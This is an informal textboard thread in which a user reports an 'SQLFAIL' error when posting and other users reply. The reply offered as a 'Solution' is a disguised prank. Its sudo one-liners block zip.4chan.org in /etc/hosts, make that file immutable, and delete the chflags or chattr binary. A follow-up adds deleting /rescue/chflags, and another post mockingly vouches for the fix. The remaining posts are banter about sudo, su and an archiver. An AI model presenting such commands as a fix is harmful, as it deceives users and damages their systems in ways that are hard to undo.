I get this when posting in /jp/

S_SQLFAILS_SQLFAILS_SQLFAIL

;__;

I get this every other time I try to post on any of the bin* boards. MOOOOOOOOOOOOOOOOOOOOOOOOOT

Solution:
sudo sh -c "echo 127.0.0.1 zip.4chan.org >> /etc/hosts"  && sudo chflags schg /etc/hosts && sudo rm -f `which chflags`

FreeBSD / OS X only.

GNAA/Lunix version:
sudo sh -c "echo 127.0.0.1 zip.4chan.org >> /etc/hosts"  && sudo chattr +i /etc/hosts && sudo rm -f `which chattr`

>>3
For the FreeBSD version --

 * sudo isn't part of the base distribution due to GNUAIDS. Please use su root -c "$COMMAND" instead, or append additional instructions on the installation and configuration of sudo¹.

 * Please also rm -f /rescue/chflags. While it isn't in the default search path, this statically-linked binary is still present in the base distribution.

                      
^{Notes:
[1] cd /usr/ports/security/sudo && make install clean}

>>3
>>4
Durr hurr

>>4
root is implied.  Please use optimized shell commands for the reader's convenience.

>>4
Ok, I lied, I only tested it on OS X. I wasn't sure if FreeBSD came with it by default or not, though sudo is definitely not GNUAIDS. http://www.sudo.ws/sudo/license.html

Also, how's the archiver doing? I think I'm going to try and fix the 250x250 thumbnail and the 15 newline limit bugs, unless you plan on rewriting the whole thing.

>>5
It's good advice. My productivity increased when I applied the fix in >>3.

>>6
With FreeBSD's su, it's actually not:

$ su -c 'panstu'
Password:
su: only root may use -c

Kind of shitty, but that's how it is. It's a pretty trivial thing to change (effort-wise), and because of that I suspect there's a reason it's excessively verbose.

>>7
Hurr, I swear I thought it was GPL. Even so, it's additional bloat which doesn't belong in the base distribution (and a bitch to configure properly; an unnecessary bitch at that on a desktop machine where you don't need fine-grained access rights anyway).

I do want to rewrite the whole thing, but I don't know if I'll get around to it this weekend. I'm more than happy to apply patches to the running code, but I think I might just give you a shell account to the machine or something.

(As a side note, I'm not the only FreeBSD fag posting around here... I swear).

(As a side note, I'm not the only FreeBSD fag posting around here... I swear).
Certainly not.  I use FreeBSD for servers, OS X for desktop/laptop/phone, and Windows for fixing my family's computer problems.  Never have to touch Linux, thank the Sussman.

>>8
'panstu'
'Why quote?  You shouldn't.'